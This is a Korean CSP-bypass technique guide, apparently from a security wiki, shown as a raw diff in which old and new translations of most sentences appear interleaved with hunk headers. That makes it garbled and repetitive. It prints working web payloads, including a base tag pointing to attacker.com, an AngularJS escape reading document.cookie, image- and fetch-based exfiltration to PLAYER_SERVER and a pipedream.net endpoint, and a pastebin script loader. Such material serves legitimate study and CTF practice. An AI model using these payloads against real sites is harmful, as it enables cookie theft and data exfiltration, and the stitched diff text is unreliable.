### RPO (상대 경로 덮어쓰기)를 통한 우회 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
#### RPO (상대 경로 덮어쓰기)를 통한 우회 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
경로 제한을 우회하기 위한 이전의 리디렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기 (RPO)라는 기술이 있습니다.
|
||||
경로 제한을 우회하기 위한 앞서 언급한 리다이렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기 (RPO)라는 기술이 있습니다.
|
||||
|
||||
예를 들어, CSP가 `https://example.com/scripts/react/` 경로를 허용한다면, 다음과 같이 우회할 수 있습니다:
|
||||
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
|
||||
브라우저는 최종적으로 `https://example.com/scripts/angular/angular.js`를 로드합니다.
|
||||
|
||||
이는 브라우저에게 `https://example.com/scripts/react/`에 위치한 `..%2fangular%2fangular.js`라는 파일을 로드하고 있으며, 이는 CSP와 호환됩니다.
|
||||
이는 브라우저에게 `https://example.com/scripts/react/` 아래에 위치한 `..%2fangular%2fangular.js`라는 파일을 로드하고 있으며, 이는 CSP와 호환됩니다.
|
||||
|
||||
따라서 브라우저는 이를 디코딩하여 `https://example.com/scripts/react/../angular/angular.js`를 요청하게 되며, 이는 `https://example.com/scripts/angular/angular.js`와 동일합니다.
|
||||
|
||||
|
@ -480,50 +397,41 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||
|
||||
온라인 예제: [https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
#### Iframes JS 실행
|
||||
### Iframes JS 실행
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### **base-uri** 누락
|
||||
### **base-uri** 누락
|
||||
|
||||
**base-uri** 지시문이 누락된 경우 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/)을 수행할 수 있습니다.
|
||||
**base-uri** 지시문이 누락된 경우 [**둥근 마크업 삽입**](../dangling-markup-html-scriptless-injection/)을 수행할 수 있습니다.
|
||||
|
||||
또한, **페이지가 Nonce를 사용하여 상대 경로로 스크립트를 로드하는 경우**(`<script src="/js/app.js">`) **base** **tag**를 악용하여 **자체 서버에서 스크립트를 로드**하도록 만들어 **XSS를 성공시킬 수 있습니다.**\
|
||||
또한, 취약한 페이지가 **Nonce**를 사용하여 상대 경로로 스크립트를 로드하는 경우(`<script src="/js/app.js">`와 같이), **base** **tag**를 악용하여 **자체 서버에서 스크립트를 로드**하도록 만들어 **XSS를 성공시킬 수 있습니다.**\
|
||||
취약한 페이지가 **httpS**로 로드된 경우, base에 httpS URL을 사용하십시오.
|
||||
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
|
||||
#### AngularJS 이벤트
|
||||
### AngularJS 이벤트
|
||||
|
||||
특정 정책인 콘텐츠 보안 정책(Content Security Policy, CSP)은 JavaScript 이벤트를 제한할 수 있습니다. 그러나 AngularJS는 대체로 사용할 수 있는 사용자 정의 이벤트를 소개합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 `$event` 객체를 제공합니다. 이 `$event` 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서 `$event/event` 객체는 이벤트 실행 체인에 관련된 객체 배열을 보유한 `path` 속성을 갖고 있으며, 이 배열의 끝에는 항상 `window` 객체가 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.
|
||||
|
||||
이 배열을 `orderBy` 필터로 지시함으로써 배열을 반복하고, 터미널 요소(즉, `window` 객체)를 활용하여 `alert()`와 같은 전역 함수를 트리거할 수 있습니다. 아래 표시된 코드 스니펫은 이 과정을 명확히 설명합니다:
|
||||
|
||||
이 배열을 `orderBy` 필터로 이동시켜 이를 반복하면, 터미널 요소(즉, `window` 객체)를 활용하여 `alert()`와 같은 전역 함수를 트리거할 수 있습니다. 아래 표시된 코드 스니펫은 이 과정을 명확히 설명합니다:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
|
||||
이 스니펫은 `ng-focus` 지시문을 사용하여 이벤트를 트리거하고, `$event.path|orderBy`를 사용하여 `path` 배열을 조작하며, `window` 객체를 활용하여 `alert()` 함수를 실행하여 `document.cookie`를 노출합니다.
|
||||
|
||||
**다른 Angular 우회 방법을 찾으려면** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
#### AngularJS 및 화이트리스트에 등록된 도메인
|
||||
|
||||
### AngularJS 및 화이트리스트에 등록된 도메인
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
|
||||
### CSP 정책 우회
|
||||
|
||||
Angular JS 애플리케이션에서 스크립트 로딩을 위한 도메인을 화이트리스트로 지정하는 CSP 정책은 콜백 함수의 호출과 취약한 클래스를 통해 우회될 수 있습니다. 이 기술에 대한 자세한 정보는 [이 깃 레포지토리](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)에서 제공되는 상세 가이드에서 확인할 수 있습니다.
|
||||
CSP 정책은 Angular JS 애플리케이션에서 스크립트 로딩을 위한 도메인을 화이트리스트로 지정할 수 있지만, 콜백 함수의 호출과 취약한 클래스를 통해 우회될 수 있습니다. 이 기술에 대한 자세한 정보는 [이 깃 레포지토리](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)에서 제공되는 상세 가이드에서 확인할 수 있습니다.
|
||||
|
||||
작동하는 payloads:
|
||||
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
|
@ -531,17 +439,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
다른 JSONP 임의 실행 엔드포인트는 [여기](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정됨)
|
||||
|
||||
다른 JSONP 임의 실행 엔드포인트는 [여기](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다).
|
||||
|
||||
#### 리다이렉션을 통한 우회
|
||||
### 리다이렉션을 통한 우회
|
||||
|
||||
CSP가 서버 측 리다이렉션을 만나면 어떻게 될까요? 리다이렉션이 다른 허용되지 않은 출처로 이어진다면 여전히 실패합니다.
|
||||
|
||||
그러나 [CSP 사양 4.2.2.3. 경로 및 리다이렉트](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)의 설명에 따르면, 리다이렉션이 다른 경로로 이어진다면 원래 제한을 우회할 수 있습니다.
|
||||
|
||||
다음은 예시입니다:
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
@ -557,38 +463,33 @@ CSP가 서버 측 리다이렉션을 만나면 어떻게 될까요? 리다이렉
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
만약 CSP가 `https://www.google.com/a/b/c/d`로 설정되어 있다면, 경로가 고려되므로 `/test`와 `/a/test` 스크립트 모두 CSP에 의해 차단될 것입니다.
|
||||
|
||||
그러나 최종적으로 `http://localhost:5555/301`은 **서버 측에서 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`로 리디렉션될 것**입니다. 이는 리디렉션이기 때문에 **경로가 고려되지 않으며**, **스크립트가 로드될 수 있어서 경로 제한을 우회**할 수 있습니다.
|
||||
그러나 최종 `http://localhost:5555/301`은 **서버 측에서 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`로 리디렉션됩니다**. 이는 리디렉션이기 때문에 **경로가 고려되지 않으며**, **스크립트가 로드될 수 있어서 경로 제한을 우회**할 수 있습니다.
|
||||
|
||||
이 리디렉션으로 인해 경로가 완전히 지정되어 있더라도 여전히 우회될 것입니다.
|
||||
이 리디렉션으로 인해 경로가 완전히 지정되더라도 여전히 우회될 것입니다.
|
||||
|
||||
따라서, 최선의 해결책은 웹사이트에 오픈 리디렉트 취약점이 없고 CSP 규칙에서 악용될 수 있는 도메인이 없도록 하는 것입니다.
|
||||
따라서 최선의 해결책은 웹 사이트에 오픈 리디렉트 취약점이 없고 CSP 규칙에서 악용할 수 있는 도메인이 없도록 하는 것입니다.
|
||||
|
||||
#### 매달린 마크업으로 CSP 우회
|
||||
### 매달린 마크업으로 CSP 우회
|
||||
|
||||
[여기에서 확인하세요](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
#### 'unsafe-inline'; img-src \*; via XSS
|
||||
|
||||
### 'unsafe-inline'; img-src \*; via XSS
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'`는 코드 내에서 어떤 스크립트든 실행할 수 있음을 의미합니다 (XSS가 코드를 실행할 수 있음). `img-src *`는 웹페이지에서 어떤 리소스에서든 이미지를 사용할 수 있음을 의미합니다.
|
||||
|
||||
`'unsafe-inline'`는 코드 내에서 어떤 스크립트든 실행할 수 있다는 것을 의미하며(XSS가 코드를 실행할 수 있음), `img-src *`는 웹페이지에서 어떤 리소스에서든 이미지를 사용할 수 있다는 것을 의미합니다.
|
||||
|
||||
이 CSP를 우회할 수 있습니다. 이미지를 통해 데이터를 유출하는 방법으로(이 경우 XSS가 CSRF를 악용하여 봇이 접근할 수 있는 페이지에 SQLi가 포함되어 있고 이미지를 통해 플래그를 추출합니다):
|
||||
|
||||
당신은 이미지를 통해 데이터를 유출하여 이 CSP를 우회할 수 있습니다 (이 경우 XSS는 봇이 접근할 수 있는 페이지에서 CSRF를 악용하며, SQLi를 포함한 이미지를 통해 플래그를 추출합니다):
|
||||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
[https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
이 구성을 악용하여 **이미지 내에 삽입된 자바스크립트 코드를 로드**할 수도 있습니다. 예를 들어 페이지가 Twitter에서 이미지를 로드하는 것을 허용하는 경우, **특별한 이미지**를 만들어 **Twitter에 업로드**하고 "**unsafe-inline**"을 악용하여 일반적인 XSS로 **JS 코드를 실행**하여 **이미지를 로드**하고 거기서 **JS를 추출**하여 **실행**할 수 있습니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
이 구성을 남용하여 **이미지 내에 삽입된 자바스크립트 코드를 로드**할 수도 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용한다면, **특별한 이미지**를 만들어 **Twitter에 업로드**하고 "**unsafe-inline**"을 남용하여 일반적인 XSS로 **JS 코드를 실행**하여 **이미지를 로드**하고 거기서 **JS를 추출**하여 **실행**할 수 있습니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
#### 서비스 워커 사용
|
||||
### 서비스 워커 사용
|
||||
|
||||
서비스 워커의 **`importScripts`** 함수는 CSP에 제한을 받지 않습니다:
|
||||
|
||||
|
@ -596,34 +497,31 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
|
|||
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### 정책 주입
|
||||
### 정책 주입
|
||||
|
||||
**연구:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
|
||||
**Chrome**
|
||||
|
||||
당신이 보낸 **매개변수**가 **정책의 선언 내부에 붙여넣기**되는 경우, **정책을 변경**하여 **쓸모 없게** 만들 수 있습니다. 이러한 우회 중 하나로 스크립트 'unsafe-inline'을 허용할 수 있습니다:
|
||||
#### Chrome
|
||||
|
||||
당신이 보낸 **매개변수**가 **정책의 선언 내부에 붙여넣기**되는 경우, **정책을 변경**하여 **쓸모 없게** 만들 수 있습니다. 이러한 우회 방법 중 하나로 **스크립트 'unsafe-inline'**을 허용할 수 있습니다:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
|
||||
이 지시문은 **기존 script-src 지시문을 덮어쓸 것**입니다.\
|
||||
여기 예제를 찾을 수 있습니다: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
**Edge**
|
||||
#### Edge
|
||||
|
||||
Edge에서는 훨씬 간단합니다. CSP에 이것만 추가할 수 있다면: **`;_`** **Edge**는 **정책 전체를 삭제**할 것입니다.\
|
||||
Edge에서는 훨씬 간단합니다. 만약 CSP에 이것만 추가할 수 있다면: **`;_`** **Edge**는 **정책 전체를 삭제**할 것입니다.\
|
||||
예제: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
|
||||
|
||||
#### img-src \*; via XSS (iframe) - 시간 공격
|
||||
### img-src \*; via XSS (iframe) - Time attack
|
||||
|
||||
`'unsafe-inline'` 지시문이 없다는 것에 주목하십시오.\
|
||||
이번에는 피해자가 `<iframe`을 통해 **당신이 제어하는 페이지를 로드**하도록 만들 수 있습니다. 이번에는 피해자가 정보를 추출하고자 하는 페이지에 접근하도록 만들 것입니다 (**CSRF**). 페이지의 내용에 접근할 수는 없지만, 페이지가 로드되는 데 필요한 시간을 **어떻게든 제어**할 수 있다면 필요한 정보를 추출할 수 있습니다.
|
||||
|
||||
이번에는 **flag**가 추출될 것입니다. SQLi를 통해 **char가 올바르게 추측될 때마다** 응답이 sleep 함수로 인해 **더 많은 시간**이 걸립니다. 그럼으로써 flag를 추출할 수 있게 됩니다:
|
||||
지시문 `'unsafe-inline'`이 없음에 주목하세요.\
|
||||
이번에는 희생자가 `<iframe`을 통해 **XSS**를 통해 **제어하는 페이지를 로드**하도록 할 수 있습니다. 이번에는 희생자가 정보를 추출하고자 하는 페이지에 접근하도록 만들 것입니다 (**CSRF**). 페이지의 내용에 접근할 수는 없지만, 페이지가 로드되는 데 필요한 시간을 **제어할 수 있다면** 필요한 정보를 추출할 수 있습니다.
|
||||
|
||||
이번에는 **플래그**가 추출될 것이며, **SQLi를 통해 문자가 올바르게 추측될 때마다** 응답이 **sleep 함수로 인해 더 많은 시간**이 걸립니다. 그럼으로써 플래그를 추출할 수 있게 됩니다:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||
|
@ -683,68 +581,63 @@ console.log(prefix);
|
|||
run();
|
||||
</script>
|
||||
```
|
||||
### 북마크릿을 통한 공격
|
||||
|
||||
#### 북마크릿을 통한 공격
|
||||
|
||||
이 공격은 공격자가 사용자를 설득하여 브라우저의 북마크릿 위로 링크를 끌어다 놓도록 하는 사회 공학을 포함합니다. 이 북마크릿에는 악의적인 자바스크립트 코드가 포함되어 있으며, 드래그 앤 드롭이나 클릭될 때 현재 웹 창의 컨텍스트에서 실행되어 CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 탈취할 수 있습니다.
|
||||
이 공격은 공격자가 사용자를 설득하여 브라우저의 북마크릿 위로 링크를 끌어다 놓도록 하는 사회 공학을 포함합니다. 이 북마크릿에는 악의적인 자바스크립트 코드가 포함되어 있으며, 드래그 앤 드롭 또는 클릭할 때 현재 웹 창의 컨텍스트에서 실행되어 CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 탈취할 수 있습니다.
|
||||
|
||||
자세한 정보는 [**원본 보고서를 확인하세요**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
#### CSP 제한을 통한 CSP 우회
|
||||
### CSP 제한을 통한 CSP 우회
|
||||
|
||||
[**이 CTF 해설**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서는 허용된 iframe 내에 더 제한적인 CSP를 삽입하여 CSP를 우회하고, 이후 **프로토타입 오염** 또는 **DOM 오염**을 통해 임의의 스크립트를 로드할 수 있는 다른 스크립트를 남용할 수 있도록 특정 JS 파일을 로드하지 못하도록 했습니다.
|
||||
[**이 CTF 해설**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서는 허용된 iframe 내에 더 제한적인 CSP를 삽입함으로써 CSP를 우회했습니다. 이 CSP는 특정 JS 파일을 로드하지 못하도록 금지했고, 그 후 **프로토타입 오염** 또는 **DOM 오염**을 통해 다른 스크립트를 남용하여 임의의 스크립트를 로드할 수 있었습니다.
|
||||
|
||||
**Iframe의 CSP를 제한**할 수 있습니다. **`csp`** 속성을 사용하여:
|
||||
**Iframe의 CSP를 제한**하려면 **`csp`** 속성을 사용할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
[**이 CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML injection**을 통해 **CSP**를 더 **제한**하여 CSTI를 방지하는 스크립트가 비활성화되어 **취약점이 악용 가능해졌습니다.**\
|
||||
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며 인라인 스크립트는 **입력을 제거하여** **nonce**를 허용하고 **sha를 통해 특정 인라인 스크립트를 활성화**할 수 있습니다:
|
||||
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
|
||||
```
|
||||
### Content-Security-Policy-Report-Only를 사용한 JS 데이터 유출
|
||||
|
||||
#### Content-Security-Policy-Report-Only를 사용한 JS 데이터 유출
|
||||
만약 서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면 (어쩌면 CRLF 때문에), 당신의 서버를 가리키도록 만들 수 있습니다. 그리고 당신이 유출하고자 하는 **JS 콘텐츠**를 **`<script>`**로 감싸면, 아마도 `unsafe-inline`이 CSP에서 허용되지 않을 것이므로 이로 인해 CSP 오류가 발생하고 민감한 정보를 포함한 스크립트 일부가 `Content-Security-Policy-Report-Only`를 통해 서버로 전송될 것입니다.
|
||||
|
||||
만약 서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면 (어떤 CRLF 때문에든), 당신은 서버를 당신의 서버를 가리키도록 만들 수 있습니다. 그리고 당신이 유출하고자 하는 **JS 내용**을 \*\*`<script>`\*\*로 감싸면, 아마도 `unsafe-inline`이 CSP에서 허용되지 않을 것이므로 이는 **CSP 오류를 발생**시키고 민감한 정보를 포함한 스크립트 일부가 `Content-Security-Policy-Report-Only`를 통해 서버로 전송될 것입니다.
|
||||
|
||||
예시로 [**이 CTF writeup을 확인하세요**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
#### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
예시로 [**이 CTF 해설을 확인하세요**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
```javascript
|
||||
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
|
||||
```
|
||||
### CSP 및 Iframe를 사용하여 정보 누출
|
||||
|
||||
#### CSP 및 Iframe를 사용하여 정보 누출
|
||||
* 허용된 CSP에 의해 허용되는 URL(여기서는 `https://example.redirect.com`이라고 가정)을 가리키는 `iframe`가 생성됩니다.
|
||||
* 이 URL은 그런 다음 CSP에 의해 **허용되지 않는** 비밀 URL(예: `https://usersecret.example2.com`)로 리디렉션됩니다.
|
||||
* `securitypolicyviolation` 이벤트를 수신함으로써 `blockedURI` 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 나타내며, 초기 URL이 리디렉션된 비밀 도메인을 누출시킵니다.
|
||||
|
||||
* CSP에서 허용된 URL(여기서는 `https://example.redirect.com`라고 가정)을 가리키는 `iframe`가 생성됩니다.
|
||||
* 이 URL은 그런 다음 CSP에서 **허용되지 않는** 비밀 URL(예: `https://usersecret.example2.com`)로 리디렉션됩니다.
|
||||
* `securitypolicyviolation` 이벤트를 수신함으로써 `blockedURI` 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 나타내어 초기 URL이 리디렉션된 비밀 도메인을 누출합니다.
|
||||
|
||||
흥미로운 점은 Chrome 및 Firefox와 같은 브라우저가 CSP에 대한 iframe을 처리하는 방식이 다르며, 정의되지 않은 동작으로 인해 민감한 정보가 누출될 수 있다는 것입니다.
|
||||
|
||||
다른 기술은 CSP 자체를 악용하여 비밀 서브도메인을 추론하는 것입니다. 이 방법은 이진 검색 알고리즘과 CSP를 약간 수정하여 의도적으로 차단된 특정 도메인을 포함하도록 조정하는 데 의존합니다. 예를 들어, 비밀 서브도메인이 알 수없는 문자로 구성된 경우 CSP 지시문을 수정하여 이러한 서브도메인을 차단하거나 허용하도록하여 서브도메인을 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하는 방식으로 CSP를 설정하는 스니펫입니다:
|
||||
크롬 및 파이어폭스와 같은 브라우저는 CSP에 대한 iframe 처리에 대해 다른 동작을 보이므로 정의되지 않은 동작으로 인해 민감한 정보가 누출될 수 있습니다.
|
||||
|
||||
다른 기술은 CSP 자체를 악용하여 비밀 서브도메인을 추론하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 명시적으로 차단하는 CSP를 조정함으로써 서브도메인을 테스트합니다. 예를 들어, 비밀 서브도메인이 알 수없는 문자로 구성된 경우 CSP 지시문을 수정하여 이러한 서브도메인을 차단하거나 허용하여 서로 다른 서브도메인을 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하는 방식으로 CSP를 설정할 수 있는 스니펫입니다:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
|
||||
CSP가 차단하거나 허용하는 요청을 모니터링하여, 비밀 서브도메인의 가능한 문자를 좁히고, 결국 전체 URL을 발견할 수 있습니다.
|
||||
|
||||
두 가지 방법은 CSP 구현과 브라우저 동작의 세세한 점을 악용하며, 보안 정책이 민감한 정보를 무심코 노출할 수 있는 방법을 보여줍니다.
|
||||
두 가지 방법은 브라우저에서 CSP 구현 및 동작의 세세한 점을 악용하며, 보안 정책이 민감한 정보를 무심코 유출할 수 있음을 보여줍니다.
|
||||
|
||||
[**여기**](https://ctftime.org/writeup/29310)에서의 트릭.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
경험 많은 해커 및 버그 바운티 헌터들과 소통하려면 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요!
|
||||
경험 많은 해커 및 버그 바운티 헌터들과 소통하려면 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
|
||||
|
||||
**해킹 통찰**\
|
||||
해킹의 스릴과 도전에 대해 파고드는 콘텐츠와 상호 작용하세요
|
||||
|
@ -753,146 +646,91 @@ CSP가 차단하거나 허용하는 요청을 모니터링하여, 비밀 서브
|
|||
실시간 뉴스와 통찰을 통해 빠른 속도의 해킹 세계를 따라가세요
|
||||
|
||||
**최신 공지**\
|
||||
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요
|
||||
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 정보를 받아보세요
|
||||
|
||||
\*\*[**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 함께하고 최고의 해커들과 협업을 시작하세요!
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)**에서 우리와 함께하고 최고의 해커들과 협업을 시작하세요!
|
||||
|
||||
### CSP 우회를 위한 안전하지 않은 기술
|
||||
## CSP 우회를 위한 안전하지 않은 기술
|
||||
|
||||
#### PHP 응답 버퍼 과부하
|
||||
### PHP 응답 버퍼 과부하
|
||||
|
||||
PHP는 기본적으로 응답을 4096바이트까지 버퍼링하는 것으로 알려져 있습니다. 따라서, PHP가 경고를 표시하는 경우, **경고 내부에 충분한 데이터를 제공**하여 **응답이** **CSP 헤더** **보다 먼저** **전송**되어 헤더가 무시되도록 할 수 있습니다.\
|
||||
그런 다음, 기본적으로 **응답 버퍼를 경고로 채워** CSP 헤더가 전송되지 않도록 하는 기술입니다.
|
||||
PHP는 기본적으로 응답을 4096바이트까지 버퍼링하는 것으로 알려져 있습니다. 따라서, PHP가 경고를 표시하는 경우, **경고 내부에 충분한 데이터를 제공**하여 **CSP 헤더**보다 **응답이 전송**되어 **헤더가 무시**되도록 할 수 있습니다.\
|
||||
그런 다음, 기술은 기본적으로 **응답 버퍼를 경고로 채워** CSP 헤더가 전송되지 않도록 하는 것입니다.
|
||||
|
||||
[**이 writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)에서 아이디어를 얻음.
|
||||
[**이 writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)에서 아이디어를 얻었습니다.
|
||||
|
||||
#### 오류 페이지 재작성
|
||||
|
||||
[**이 writeup**](https://blog.ssrf.kr/69)에서 보았듯이, 오류 페이지(가능한 경우 CSP 없이)를 로드하고 해당 내용을 다시 작성하여 CSP 보호를 우회할 수 있었던 것으로 보입니다.
|
||||
### 오류 페이지 재작성
|
||||
|
||||
[**이 writeup**](https://blog.ssrf.kr/69)에서 보았듯이, 오류 페이지(잠재적으로 CSP 없이)를 로드하고 해당 내용을 재작성하여 CSP 보호를 우회할 수 있었던 것으로 보입니다.
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
|
||||
}, 1000);
|
||||
```
|
||||
### SOME + 'self' + 워드프레스
|
||||
|
||||
#### SOME + 'self' + 워드프레스
|
||||
|
||||
